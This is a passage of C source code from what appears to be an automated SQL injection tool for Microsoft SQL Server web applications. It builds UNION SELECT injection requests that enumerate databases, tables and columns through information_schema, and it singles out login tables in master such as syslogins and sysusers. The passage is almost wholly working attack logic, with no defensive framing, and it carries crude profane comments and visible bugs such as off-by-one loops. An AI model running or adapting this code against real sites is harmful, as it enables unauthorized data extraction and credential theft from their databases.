        len = strlen(tmpbuf);
	strncat(sendbuf, tmpbuf, len);
 
	if (debug == 1) {
           printf("\n++++++++++++++++++++++++++++Where name+++++++++++++++++++++++++++++++\n");
           printf("%s\n", sendbuf);
           printf("\n++++++++++++++++++++++++++++Where name+++++++++++++++++++++++++++++++\n");
        }
 
	db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
	if (debug == 1) {
           printf("\n\n-------------------------------Where name results-----------------------------------------\n");
           printf("%s", recvbuf);
           printf("\n\n-------------------------------Where name results-----------------------------------------\n");
        }
 
        if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
           fprintf(stderr, "Error finding the database name\n");
           exit(2);
        }
	bzero(&tmpbuf, sizeof(tmpbuf));
 
	/* START THE FUCKING LLOPPWPEOIEWURWEOPIURWET */
	for (i = 1; i <= numb_db; i++) { 			// Starting at 1 cos we have master in db[0], this fucked me up for a while heh :D
	    memcpy(&db[i].dbname, data_to_add, BUF);
	    memset(data_to_add, 0, 500);
            snprintf(tmpbuf, sizeof(tmpbuf), "%%20and%%20name%%20<>\'%s\'", db[i].dbname);
	    len = strlen(tmpbuf);
	    strncat(sendbuf, tmpbuf, len);
	    x += len;
 
	    bzero(&recvbuf, sizeof(recvbuf)); 
            bzero(&tmpbuf, sizeof(tmpbuf));   
            memset(data_to_add, 0, 500);    
 
	    if (debug == 1) {
	       printf("\n+++++++++++++++++++++++++++Run %d++++++++++++++++++++++++++++++++\n", i);
               printf("%s\n", sendbuf);
               printf("\n+++++++++++++++++++++++++++Run %d++++++++++++++++++++++++++++++++\n", i);
	    }
 
	    db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
	    if (debug == 1) {
               printf("\n\n--------------------------------run %d res----------------------------------------\n", i);
               printf("%s", recvbuf);
               printf("\n\n--------------------------------run %d res----------------------------------------\n", i);
	    }
 
            if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
                fprintf(stderr, "Error finding the database name, We MUST BE DONE HAAHAHAH\n");
		break;
            }
	}  
 return(0);
}
 
/*********************************/
/* get information_schema.tables */
/*********************************/
 
int gather_tables_get(int sockfd, int n, char *cookie, char *hostname)
{
  char tmpbuf[BUF], tmpbuf2[BUF * 2], tmpbuf3[BUF * 2], recvbuf[BIGBUF], sendbuf[BIGBUF];
  char numbs[] = "cast(count(*)%20as%20char(15)),"; // converts the numbers to ascii (inside sql)
  char numb[] = "cast(count(*)%20as%20char(15))%20"; // same but this will be the final query
  char names[] = "table_name,"; // selects the table_name if called multiple times (hence the ,)
  char name[] = "table_name%20"; // final table_name call
  int len, x, i, j; 
  char *data_to_add;
  data_to_add = (char *)malloc(500); 				// our pizointer for grabbing data
  if (data_to_add == NULL){
     fprintf(stderr, "Error mallocing data_to_add\n");
     exit(3);
  }
  x = 0;
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
  bzero(&tmpbuf, sizeof(tmpbuf));
  bzero(&tmpbuf2, sizeof(tmpbuf2));
  bzero(&tmpbuf3, sizeof(tmpbuf3));
 
 
 
  if (proxy_use == 1) {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // since we need this for both buff's just strncpy the shizzle
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh
     }
  } else {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh still
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len);
     }
  }
 
  /* start teh tmpbuf2 cos like its different than the third one which will be used for the non-count/name, shit i fucking stopped caring */
  /****************/
 
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(numb);
         strncat(tmpbuf2, numb, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf2, numbs, len);
  }
  /* so basically our buff looks like gay.asp?id=1 union select count(count(*)%20as%20char(15))%20" ... */
  /* end tmpbuf                                                                                         */
  /******************************************************************************************************/
 
 
 
 
  /* tmpbuf3 */
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(name);
         strncat(tmpbuf3, name, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf3, names, len);
  }
  /* now tmpbuf3 looks like union select name ... */
  /* heh                                          */
  /************************************************/
 
 
  /* BEGIN LOOPING DATABASE NAMES VIA NUMB_DB */
  for (i = 0; i <= numb_db; i++) {			// ok our first main loop
      if ((char *)db[i].dbname == NULL) {
         continue;
      } else if (strlen((char *)db[i].dbname) == 0) {
         continue;
      }
 
      bzero(&recvbuf, sizeof(recvbuf));
      bzero(&tmpbuf, sizeof(tmpbuf));
      bzero(&sendbuf, sizeof(sendbuf));
 
      if (strncmp( (char *)db[i].dbname, "master", 6)  == 0) {
         printf("I should only be printing once\n");
         gather_master(i);
         continue;
      }
      printf("CURRENT FUCKING DATABASE IS----------------------------------------------------------------->%s\n", db[i].dbname);
 
 
      len = strlen(tmpbuf2);
      strncat(sendbuf, tmpbuf2, len); 			// we need to get the count of tables first...
 
      snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.information_schema.tables",db[i].dbname); // append from [dbname].infoschematables
      len = strlen(tmpbuf);
      strncat(sendbuf, tmpbuf, len);
 
      if (debug == 1) {
         printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
         printf("%s%s\n", sendbuf, cfgopts.end);
         printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
      }
 
      db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie); 
 
      if (debug == 1) {
         printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
         printf("%s", recvbuf);
         printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
      }
 
      if (stripdata(recvbuf, data_to_add) == 1) {
          fprintf(stderr, "Error finding the number of tables\n");
          exit(2);
      }
       db[i].table_num = strtoul(data_to_add, NULL, 0);
       db[i].tables = (table_t *)malloc(sizeof(table_t) * db[i].table_num);
       if (db[i].tables == NULL) {
          fprintf(stderr, "Error mallocing tables for db[%d] ;/\n", i);
          exit(3);
       }
       memset(db[i].tables, 0, sizeof(table_t) * db[i].table_num); // set the table to null so we can check for null entries later.  
 
 
       x = 0;
       bzero(&sendbuf, sizeof(sendbuf));
       bzero(&recvbuf, sizeof(recvbuf));
       bzero(&tmpbuf, sizeof(tmpbuf));
 
 
       len = strlen(tmpbuf3);
       strncat(sendbuf, tmpbuf3, len);
 
       snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.information_schema.tables", db[i].dbname);
       len = strlen(tmpbuf);
       strncat(sendbuf, tmpbuf, len);
 
       if (debug == 1) {
          printf("\n++++++++++++++++++++++++1st Name+++++++++++++++++++++++++++++++++++\n");
          printf("%s%s%s\n", sendbuf, cfgopts.end, recvbuf);
          printf("\n++++++++++++++++++++++++1st Name+++++++++++++++++++++++++++++++++++\n");
       }
 
       db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
       if (debug == 1) {
          printf("\n\n---------------------------1st name Results---------------------------------------------\n");
          printf("%s", recvbuf);
          printf("\n\n---------------------------1st name Results---------------------------------------------\n");
       }
 
       if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
           fprintf(stderr, "Error finding the first table_name\n");
	   continue;
       }
       memcpy(&db[i].tables[0].table_name, data_to_add, BUF);
 
       memset(data_to_add, 0, 500);
       bzero(&recvbuf, sizeof(recvbuf));
       bzero(&tmpbuf, sizeof(tmpbuf));
       bzero(&sendbuf, sizeof(sendbuf));
 
       len = strlen(tmpbuf3);
       strncat(sendbuf, tmpbuf3, len);
 
       snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.information_schema.tables%%20where%%20table_name<>\'%s\'", db[i].dbname, db[i].tables[0].table_name);
 
       len = strlen(tmpbuf);
       strncat(sendbuf, tmpbuf, len);
 
       if (debug == 1) {
          printf("\n++++++++++++++++++++++++++++Where name+++++++++++++++++++++++++++++++\n");
          printf("%s\n", sendbuf);
          printf("\n++++++++++++++++++++++++++++Where name+++++++++++++++++++++++++++++++\n");
       }
 
       db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
       if (debug == 1) {
          printf("\n\n-------------------------------Where name results-----------------------------------------\n");
          printf("%s", recvbuf);
          printf("\n\n-------------------------------Where name results-----------------------------------------\n");
       }
 
       if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
          fprintf(stderr, "Error finding the table name\n");
	  continue;
       }
       bzero(&recvbuf, sizeof(recvbuf));
       bzero(&tmpbuf, sizeof(tmpbuf));
 
       /* START THE FUCKING LLOPPWPEOIEWURWEOPIURWET */
       for (j = 1; j <= db[i].table_num; j++) {
           if ((char *)db[i].dbname == NULL) {
              continue;
           } else if (strlen((char *)db[i].dbname) == 0) {
              continue;
           }
 
	   memcpy(&db[i].tables[j].table_name, data_to_add, BUF);
  	   memset(data_to_add, 0, 500);
           snprintf(tmpbuf, sizeof(tmpbuf), "%%20and%%20table_name%%20<>\'%s\'", db[i].tables[j].table_name);
           len = strlen(tmpbuf);
           strncat(sendbuf, tmpbuf, len);
 
           bzero(&recvbuf, sizeof(recvbuf));
           bzero(&tmpbuf, sizeof(tmpbuf));
           memset(data_to_add, 0, 500);
 
	   if (debug == 1) {
              printf("\n+++++++++++++++++++++++++++Run %d++++++++++++++++++++++++++++++++\n", i);
              printf("%s\n", sendbuf);
              printf("\n+++++++++++++++++++++++++++Run %d++++++++++++++++++++++++++++++++\n", i);
  	   }
 
	   db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
	   if (debug == 1) {
              printf("\n\n--------------------------------run %d res----------------------------------------\n", i);
              printf("%s", recvbuf);
              printf("\n\n--------------------------------run %d res----------------------------------------\n", i);
	   }
 
           if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
               fprintf(stderr, "Error finding the table name, We MUST BE DONE HAAHAHAH\n");
               break;
           }
           bzero(&recvbuf, sizeof(recvbuf));
           bzero(&tmpbuf, sizeof(tmpbuf));
 
	}
   }
return(0);
}
 
/**********************************/
/* master d0x                     */
/**********************************/
 
int gather_master(int i)
{
  char important[][BUF] = {"syslogins", "sysremotelogins", "sysservers", "sysusers", "sysfiles"}; 
  int j;
 
  printf("DB[%d]: %s\n", i, db[i].dbname);
  sleep(1);
  db[i].tables = (table_t *)malloc(sizeof(table_t) * 6);
  if (db[i].tables == NULL) {
     fprintf(stderr, "Error mallocing tables for db[%d] ;/\n", i);
     exit(3);
  }
  memset(db[i].tables, 0, sizeof(table_t) * 5); // set the table to null so we can check for null entries later.
 
 
 
  db[i].table_num = 5;
 
  for (j = 0; j <= 4; j++) {
      memcpy(&db[i].tables[j].table_name, &important[j], BUF);
  }
 
  return(0);
}
 
/**********************************/
/* get information_schema.columns */
/**********************************/
 
int gather_columns_get(int sockfd, int n, char *cookie, char *hostname)
{
  char tmpbuf[BUF * 2], tmpbuf2[BUF * 2], tmpbuf3[BUF * 2], recvbuf[BIGBUF], sendbuf[BIGBUF];
  char numbs[] = "cast(count(*)%20as%20char(15)),"; // converts the numbers to ascii (inside sql)
  char numb[] = "cast(count(*)%20as%20char(15))%20"; // same but this will be the final query
  char names[] = "column_name,"; // selects the table_name if called multiple times (hence the ,)
  char name[] = "column_name%20"; // final table_name call
  int len, i, j, l;
  char *data_to_add;
  data_to_add = (char *)malloc(500);                            // our pizointer for grabbing data
  if (data_to_add == NULL){
     fprintf(stderr, "Error mallocing data_to_add\n");
     exit(3);
  }
 
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
  bzero(&tmpbuf, sizeof(tmpbuf));
  bzero(&tmpbuf2, sizeof(tmpbuf2));
  bzero(&tmpbuf3, sizeof(tmpbuf3));
 
 
 
  if (proxy_use == 1) {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // since we need this for both buff's just strncpy the shizzle
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh
     }
  } else {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh still
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len);
     }
  }
 
  /* start teh tmpbuf2 cos like its different than the third one which will be used for the non-count/name, shit i fucking stopped caring */
  /****************/
 
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(numb);
         strncat(tmpbuf2, numb, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf2, numbs, len);
  }
  /* so basically our buff looks like gay.asp?id=1 union select count(count(*)%20as%20char(15))%20" ... */
  /* end tmpbuf                                                                                         */
  /******************************************************************************************************/
 
 
 
 
  /* tmpbuf3 */
  for (i = 1; i <= cfgopts.select_num; i++) {
 
      if (i == cfgopts.select_num) {
         len = strlen(name);
         strncat(tmpbuf3, name, len);
         break;
      }
 
      len = strlen(numbs);
      strncat(tmpbuf3, names, len);
  }
  /* now tmpbuf3 looks like union select name ... */
  /* heh                                          */
  /************************************************/
 
 
  /* BEGIN LOOPING DATABASE NAMES VIA NUMB_DB */
  for (i = 0; i <= numb_db; i++) {                      // ok our first main loop
      if (db[i].dbname == NULL) {
         printf("you know you're fucking null so stop fucking around");
         continue;
      } else if (strlen((char *)db[i].dbname) == 0) {
        continue;
      }
 
      bzero(&recvbuf, sizeof(recvbuf));
      bzero(&tmpbuf, sizeof(tmpbuf));
      bzero(&sendbuf, sizeof(sendbuf));
      if (strncmp("model", (char *)db[i].dbname, 5) == 0 || strncmp("msdb", (char *)db[i].dbname, 4) == 0 || strncmp("tempdb", (char *)db[i].dbname, 6) == 0) {
         continue;
      } 
 
      /* Begin looping table name/numbers via j */
      for (j = 0; j <= db[i].table_num; j++) { 
         if ((char *)db[i].tables[j].table_name == NULL) {
            printf("jesus this sucks\n");
            continue;
         } else if (strlen((char *)db[i].tables[j].table_name) == 0) {
            continue;
         }
 
	 bzero(&sendbuf, sizeof(sendbuf));
	 fprintf(stderr, "db: %s table_name: %x %s \n", db[i].dbname, *db[i].tables[j].table_name, db[i].tables[j].table_name);
         len = strlen(tmpbuf2);
         strncat(sendbuf, tmpbuf2, len);                        // strncat tmpbuf2 which contains everything before 'from ...'
 
 
         snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.information_schema.columns%%20where%%20table_name=\'%s\'",db[i].dbname, db[i].tables[j].table_name); 
         len = strlen(tmpbuf);
         strncat(sendbuf, tmpbuf, len);
         if (debug == 1) {
            printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
            printf("%s%s\n", sendbuf, cfgopts.end);
            printf("\n++++++++++++++++++++++++++NUMBERS+++++++++++++++++++++++++++++++++\n");
         }
 
	 db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
         if (debug == 1) {
            printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
            printf("%s", recvbuf);
            printf("\n\n-------------------------RECVNUM-----------------------------------------------\n");
         }
 
         if (stripdata(recvbuf, data_to_add) == 1) {
             fprintf(stderr, "Error finding the number of tables\n");
             exit(2);
         }
         db[i].tables[j].column_num = strtoul(data_to_add, NULL, 0);
         db[i].tables[j].columns = (column_t *)malloc(sizeof(column_t) * db[i].tables[j].column_num);
         if ( db[i].tables[j].columns == NULL) {
            fprintf(stderr, "Error mallocing tables for db[%d] ;/\n", i);
            exit(3);
         }
   	 memset(db[i].tables[j].columns, 0, sizeof(column_t) * db[i].tables[j].column_num); // clean out the columns so we can check for nulls
 
         bzero(&sendbuf, sizeof(sendbuf));                      // reset sendbuf to zero
 
         len = strlen(tmpbuf3);
         strncat(sendbuf, tmpbuf3, len);                        // strncat tmpbuf2 which contains everything before 'from ...'
 
         bzero(&recvbuf, sizeof(recvbuf));
         bzero(&tmpbuf, sizeof(tmpbuf));
 
         snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.information_schema.columns%%20where%%20table_name=\'%s\'", db[i].dbname, db[i].tables[j].table_name);
         len = strlen(tmpbuf);
         strncat(sendbuf, tmpbuf, len);
 
	 if (debug == 1) {
            printf("\n++++++++++++++++++++++++1st Name COLUMNS+++++++++++++++++++++++++++++++++++\n");
            printf("%s%s%s\n", sendbuf, cfgopts.end, recvbuf);
            printf("\n++++++++++++++++++++++++1st Name COLUMNS+++++++++++++++++++++++++++++++++++\n");
         }
 
	 db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
         if (debug == 1) {
            printf("\n\n---------------------------1st name Results COLUMNS---------------------------------------------\n");
            printf("%s", recvbuf);
            printf("\n\n---------------------------1st name Results COLUMNS---------------------------------------------\n");
         }
 
         if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
             fprintf(stderr, "Error finding the first table_name\n");
             continue;
         }
 
         bzero(&sendbuf, sizeof(sendbuf));   			// reset sendbuf to zero
 
         len = strlen(tmpbuf3);	
         strncat(sendbuf, tmpbuf3, len);			// strncat tmpbuf3 which contains everything before 'from ...'
 
         snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.information_schema.columns%%20where%%20table_name<>\'%s\'", db[i].dbname, db[i].tables[j].table_name); // tac this on
         len = strlen(tmpbuf);
         strncat(sendbuf, tmpbuf, len);
 
         bzero(&recvbuf, sizeof(recvbuf));
         bzero(&tmpbuf, sizeof(tmpbuf));
 
         /* Start looping column_num via l */
         for (l = 0; l <= db[i].tables[j].column_num; l++) {
             if ((char *)db[i].tables[j].table_name == NULL) {
                printf("HAHAAHEHAHEHAHEHAHAEHEAHEAAHEAHEHEAEAHEAHEAHEAHEAHHEAHEAHEAEAHEAHHAEHAE\n");
                continue;
             } else if (strlen((char *)db[i].tables[j].table_name) == 0) {
                printf("HAHAAHEHAHEHAHEHAHAEHEAHEAAHEAHEHEAEAHEAHEAHEAHEAHHEAHEAHEAEAHEAHHAEHAE2222222222222\n");
                continue;
             }
 
             memcpy(&db[i].tables[j].columns[l].column_name, data_to_add, BUF); // copy in the data_to_add to our data struct
	     if (debug == 1) printf("COLUMN_NAME: %s AND DATA_TO_ADD: %s\n", db[i].tables[j].columns[l].column_name, data_to_add);
             memset(data_to_add, 0, 500);
             bzero(&recvbuf, sizeof(recvbuf));
             bzero(&tmpbuf, sizeof(tmpbuf));
 
             snprintf(tmpbuf, sizeof(tmpbuf), "%%20and%%20column_name<>\'%s\'", db[i].tables[j].columns[l].column_name);
 
             len = strlen(tmpbuf);
             strncat(sendbuf, tmpbuf, len);
 
    	     bzero(&tmpbuf, sizeof(tmpbuf));
	     if (debug == 1) {
                printf("\n++++++++++++++++++++++++Column %d Run+++++++++++++++++++++++++++++++++++\n", l);
                printf("%s%s%s\n", sendbuf, cfgopts.end, recvbuf);
                printf("\n++++++++++++++++++++++++Column %d Run+++++++++++++++++++++++++++++++++++\n", l);
             }
 
	     db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
 
             if (debug == 1) {
                printf("\n\n---------------------------Column %d Run Results---------------------------------------------\n", l);
                printf("%s", recvbuf);
                printf("\n\n---------------------------Column %d Run Results---------------------------------------------\n", l);
             }
             if (stripdata(recvbuf, data_to_add) == 1 || check_done(recvbuf) != 0) {
                 fprintf(stderr, "Error finding the column_name\n");
                 continue;
             }
 
         } //close columnforloop
 
 
        } //close tableforloop
 
   } //close dbforloop
 
  return(0);
}
 
/***************************************/
/* get column data ewns almost done :D */
/***************************************/
 
int gather_data_get(int sockfd, int n, char *cookie, char *hostname)
{
  char tmpbuf[BUF * 2], tmpbuf2[BUF * 2], tmpbuf3[BUF * 2], tmpbuf4[BUF * 2], recvbuf[BIGBUF], sendbuf[BIGBUF];
  char numbs_seg1[] = "cast(count("; // converts the numbers to ascii (inside sql)
  char numbs_seg2[] = ")%20as%20char(15))%20"; // same but this will be the final query
  char numbs_seg3[] = ")%20as%20char(15)),";
  char name_buf[100]; 
  char names_buf[103];
 
  int len, i, j, l, m;
  char *data_to_add;
  data_to_add = (char *)malloc(500);                           
  if (data_to_add == NULL){
     fprintf(stderr, "Error mallocing data_to_add\n");
     exit(3);
  }
 
  bzero(&name_buf, 100);
  bzero(&names_buf, 100);
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
  bzero(&tmpbuf, sizeof(tmpbuf));
  bzero(&tmpbuf2, sizeof(tmpbuf2));
  bzero(&tmpbuf3, sizeof(tmpbuf3));
 
 
  if (proxy_use == 1) {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // since we need this for both buff's just strncpy the shizzle
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET http://%s:%d/%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh
     }
  } else {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh still
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s%s%s%%20union%%20select%%20", cfgopts.url, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len);
     }
  }
 
  /* Ok this loops fucking insane, i can't think of any other way to do this shit and if this works i'll be bloody fucking amazed */
 
  for (i = 0; i <= numb_db; i++) { 			// db[i]....
      if ((char *)db[i].dbname == NULL) {
          continue;
      } else if (strlen((char *)db[i].dbname) == 0) {
          continue;
      }
/*      if (strncmp("model", (char *)db[i].dbname, 5) == 0 || strncmp("msdb", (char *)db[i].dbname, 4) == 0 || strncmp("tempdb", (char *)db[i].dbname, 6) == 0) {
         continue;
      }
*/
      if (strncmp("master", (char *)db[i].dbname, 6))
         continue;
 
      for (j = 0; j <= db[i].table_num; j++) {		// db[i].tables[j]....
          if ((char *)db[i].tables[j].table_name == NULL) {
             continue;
          }
          if (strlen((char *)db[i].tables[j].table_name) == 0) {
             continue;
          }
 
          for (l = 0; l <= db[i].tables[j].column_num; l++) {	// db[i].tables[j].columns[l].....
 
               bzero(&name_buf, 100);
	       bzero(&names_buf, 100);
 	       if ((char *)db[i].tables[j].columns[l].column_name == NULL) {
                  continue;
               }
               if (strlen((char *)db[i].tables[j].columns[l].column_name) == 0) {
		  continue;
               }
 
	       len = strlen((char *)db[i].tables[j].columns[l].column_name);
	       strncpy(name_buf, (char *)db[i].tables[j].columns[l].column_name, len);	
	       for (m = 1; m <= cfgopts.select_num; m++) {
                   if ((char *)db[i].tables[j].columns[m].column_name == NULL) {
                      continue;
                   } else if (strlen((char *)db[i].tables[j].columns[m].column_name) == 0) {
                      continue;
                   } 
		   bzero(&sendbuf, sizeof(sendbuf));
		   bzero(&recvbuf, sizeof(recvbuf));
 
		   len = strlen(tmpbuf2);
		   strncpy(sendbuf, tmpbuf2, len);
 
	           if (m == cfgopts.select_num) {
		      len = strlen(numbs_seg1);
		      strncat(sendbuf, numbs_seg1, len);
	  	      len = strlen(name_buf);
		      strncat(sendbuf, name_buf, len);
		      len = strlen(numbs_seg2);
		      strncat(sendbuf, numbs_seg2, len);
		      break;
		   }
 
		   len = strlen(numbs_seg1);
		   strncat(sendbuf, numbs_seg1, len);
		   len = strlen(name_buf);
		   strncat(sendbuf, name_buf, len);
		   len = strlen(numbs_seg3);
		   strncat(sendbuf, numbs_seg3, len);
                }
 
		/* Ok so now we are at union select count(column1),count(column1) ... */
 
		snprintf(tmpbuf, sizeof(tmpbuf), "from%%20%s.dbo.\"%s\"", db[i].dbname, db[i].tables[j].table_name);
		len = strlen(tmpbuf);
		strncat(sendbuf, tmpbuf, len);
		bzero(&tmpbuf, sizeof(tmpbuf));
 
 
		/* now: union select count(column1) from master.dbo.table1... this should give us the amount of records for this col */
		printf("##############################Get Size of Data#########################\n");
                printf("Where we are at: d: %d t: %d c: %d\n", i, j, l);
                printf("#######################################################################\n");
	   	printf("%s%s\n", sendbuf, cfgopts.end);
                db_send_data(sockfd, sendbuf, recvbuf, hostname, cookie);
		printf("##############################Results Size Of##########################\n");
		printf("%s\n", recvbuf);
 
		if (stripdata(recvbuf, data_to_add) == 1) {
		   fprintf(stderr, "Error finding the number of rows for db: %s table: %s column: %s ;/\n", db[i].dbname, db[i].tables[j].table_name, db[i].tables[j].columns[l].column_name);
      		   continue; 
  		}
 
  	 	db[i].tables[j].columns[l].data_num = strtoul(data_to_add, NULL, 0);
  		db[i].tables[j].columns[l].data = (data_t *)malloc(sizeof(data_t) * db[i].tables[j].columns[l].data_num);
  	        if (db[i].tables[j].columns[l].data == NULL) {
        	     fprintf(stderr, "Error mallocing data for db: %s table: %s column: %s ;/\n", db[i].dbname, db[i].tables[j].table_name, db[i].tables[j].columns[l].column_name);
            	     exit(3);
        	}
 
		bzero(&sendbuf, sizeof(sendbuf));
		bzero(&recvbuf, sizeof(recvbuf));
 
 
		printf("data for db: %s table: %s column: %s size: %d;/\n", db[i].dbname, db[i].tables[j].table_name, db[i].tables[j].columns[l].column_name, db[i].tables[j].columns[l].data_num);
 
          } // close column_num loop
      } // close table_num loop
   } // close numb_db loop	
 
 
 
  return(0);
}
 
 
 
/**********************************/
/* post information_schema.tables */
/**********************************/
 
int gather_tables_post(int sockfd, int n, char *cookie, char *hostname)
{
  char tmpbuf[BUF], tmpbuf2[BUF * 2], tmpbuf3[BUF * 2], recvbuf[BIGBUF], sendbuf[BIGBUF];
  char numbs[] = "cast(count(*)%20as%20char(15)),";
  char numb[] = "cast(count(*)%20as%20char(15))%20";
  char names[] = "name,";
  char name[] = "name%20";
  int len, i;
  char *data_to_add;
  data_to_add = (char *)malloc(500);
  if (data_to_add == NULL){
     fprintf(stderr, "Error mallocing data_to_add\n");
     exit(3);
  }
  bzero(&sendbuf, sizeof(sendbuf));
  bzero(&recvbuf, sizeof(recvbuf));
  bzero(&tmpbuf, sizeof(tmpbuf));
  bzero(&tmpbuf2, sizeof(tmpbuf2));
  bzero(&tmpbuf3, sizeof(tmpbuf3));
 
 
 
  if (proxy_use == 1) {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "POST http://%s:%d%s HTTP/1.0\r\nHost: %s\r\nCookie: %s\r\n%s%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, hostname, cookie, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // since we need this for both buff's just strncpy the shizzle
     } else {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "POST http://%s:%d%s HTTP/1.0\r\nHost: %s\r\nCookie: %s\r\n%s%s%%20union%%20select%%20", hostname, port, cfgopts.url, hostname, cookie, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh
     }
  } else {
     if (strncmp(cfgopts.variables, "\n", 1)) {
         snprintf(tmpbuf2, sizeof(tmpbuf2), "GET %s HTTP/1.0\r\nHost: %s\r\nCookie: %s\r\n%s%s%s%%20union%%20select%%20", cfgopts.url, hostname, cookie, cfgopts.variables, cfgopts.injectvar, cfgopts.start);
         len = strlen(tmpbuf2);
         strncpy(tmpbuf3, tmpbuf2, len); // heh still
     } else {
